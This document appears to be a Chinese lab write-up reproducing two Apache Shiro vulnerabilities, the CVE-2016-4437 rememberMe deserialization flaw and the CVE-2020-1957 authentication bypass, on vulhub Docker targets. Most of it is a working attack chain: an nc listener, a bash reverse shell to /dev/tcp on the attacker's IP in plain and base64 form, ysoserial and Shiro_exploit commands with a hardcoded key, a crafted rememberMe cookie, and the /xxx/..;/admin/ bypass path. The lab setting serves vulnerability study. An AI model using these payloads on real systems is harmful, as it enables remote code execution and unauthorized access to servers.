文章目录
- Apache Shiro550反序列化(CVE-2016-4437)漏洞复现
- Apache Shiro 认证绕过漏洞(CVE-2020-1957) 漏洞复现
Apache Shiro550反序列化(CVE-2016-4437)漏洞复现
一、漏洞描述
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
二、漏洞原理
Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManager类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。
原因分析:Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞
漏洞特征:shiro反序列化的特征:在返回包的Set-Cookie 中存在rememberMe=deleteMe 字段
三、影响版本
Shiro<=1.2.4版本,当未设置用于"remember me”特性的AES密钥时,存在反序列化漏洞,可远程命令执行。
四、(1)复现过程-使用ysoserial工具复现
项目地址:https://github.com/frohoff/ysoserial
0.环境说明
攻击机:192.168.102.181
目标机:192.168.37.128
1.使用Docker起CVE-2016-4437环境
访问8080端口查看环境是否正常实例化
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d
2.使用nc监听本机端口
nc -lvvp 8899
3.将Bash反弹Shell的Code进行Base64加密
bash -i >& /dev/tcp/192.168.102.181/8899 0>&1
编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMi4xODEvODg5OSAwPiYx}|{base64,-d}|{bash,-i}
4.使用ysoserial.jar的JRMP本地监听映射模块
使用CommonsCollections5,本地端口监听转发为7777 (注:bash加密命令前的CommonsCollections后面数字要写5,网上的payload都写CommonsCollections4,可能是Java环境问题,CommonsCollections4一直反弹不到shell,只在Java端口监听到会话,可使用CommonsCollections1,2,3,4,5等各种方式进行测试,所以尝试更改了CommonsCollections就有效果了)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMi4xODEvODg5OSAwPiYx}|{base64,-d}|{bash,-i}"
5.生成一次性RememberMe的值
使用Shiro550的EXP去生成一个临时并且一次性的RememberMe的值,IP是攻击机的ip,端口是JRMP映射出的端口
获得
rememberMe=nvy4OxP9ReyqQ7vzWKQZFMZcjbE0+tEt220EfbG1tIYjr0PuMfkHvRxfSHPLpfAsMfCw5n5jtxaRsHPRjpkBawHYb5fmvu35THT85HxjJRWFov5d0UP4JD/5f8s2cHlUeWO0X0W1z8hjw/M+0LjhLz6ck86cwvThBpaCjkpPS8PZeF8yi6BYszv2RGDUVOX7I9TuQKXD5vX4993qwwh7pRKuzDpCbeqKhtPCYUG/Xp3XIYmTrvtSxwTqtixcyFzAygXC1vwSudnXO9XU/iADBKd6MBIaMchx5Ss38qQDODdVI4LTarrTRi6irDycnvCWbSHVb7n1uapW6RaABYs3/3V5eqMhUKWt0YlO/qSvg0x4PhKgesAOTfocvopn6s1RtsscbosL+Uvn4YB4kl0Aww==
6.BurpSuite抓取登录的数据包
访问漏洞环境,使用BurpSuite抓取登录的数据包,然后将获取到的rememberMe追加至Cookie后(前面需要加一个;),响应内容的Set-Cookie字段里有rememberMe的key就基本上成功
7.查看JRMP和NC
返回JRMP监听映射和NC监听转发,查看Shell成功反弹,成功获取目标机权限
(2)复现过程-使用Shiro_exploit工具复现
项目地址:https://github.com/insightglacier/Shiro_exploit
0.环境说明
攻击机:192.168.102.181
目标机:192.168.37.128
1.使用命令检测是否存在漏洞
python3 shiro_exploit.py -u http://192.168.37.128:8080/
出现 vulnerable:True表示存在shiro漏洞 ,并发现了key
2.使用Shiro_exploit进行反弹shell利用
使用nc监听本机端口
nc -lvvp 8899
将Bash反弹Shell的Code进行Base64加密
bash -i >& /dev/tcp/192.168.102.181/8899 0>&1
编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMi4xODEvODg5OSAwPiYx}|{base64,-d}|{bash,-i}
使用Shiro_exploit进行反弹shell利用
python shiro_exploit.py -t 3 -u 目标url -p "bash加密命令" -k "上面检测出来的key"
python shiro_exploit.py -t 3 -u http://192.168.37.128:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMi4xODEvODg5OSAwPiYx}|{base64,-d}|{bash,-i}" -k "kPH+bIxk5D2deZiIxcaaaA=="
执行命令并返回NC查看,查看Shell成功反弹,成功获取目标机权限
(3)复现过程-使用集成化工具复现
五、修复建议
升级shiro至最新版本
Apache Shiro 认证绕过漏洞(CVE-2020-1957) 漏洞复现
一、漏洞描述
Apache Shiro 是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,越权并实现未授权访问。
二、漏洞简单分析
请求/xxxxx/…;/admin,在shiro中经过处理变为/xxxxx/…,与过滤器/xxxxx/规则进行匹配通过校验,成功转向后方的Spring Boot。
恶意请求/xxxxx/…;/admin通过Shiro的校验后,传递到Spring Boot中进行解析,根据Controller设置的路由选择对应Servlet,最终形成了对/admin这个Servlet的未授权访问,再返回给攻击者。
三、影响版本
Apache Shiro < 1.5.2
四、复现过程
0.环境说明
目标ip:192.168.37.128
1.使用Docker起CVE-2020-1957环境
执行如下命令
cd vulhub/shiro/CVE-2020-1957
docker-compose up -d
环境启动后,访问http://192.168.37.128:8080即可查看首页。
这个应用中对URL权限的配置如下:
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}
2. 使用BurpSuite抓取数据包
访问/admin/目录 , 回显302并跳转到登录页面
3.构造恶意请求
构造恶意请求/xxx/…;/admin/,即可绕过权限校验,访问到管理页面
4.URL请求过程
- 客户端请求URL: /xxx/…;/admin/
- Shrio 内部处理得到校验URL为 /xxxx/…,校验通过
- SpringBoot 处理 /xxx/…;/admin/ , 最终请求 /admin/, 成功访问了后台请求。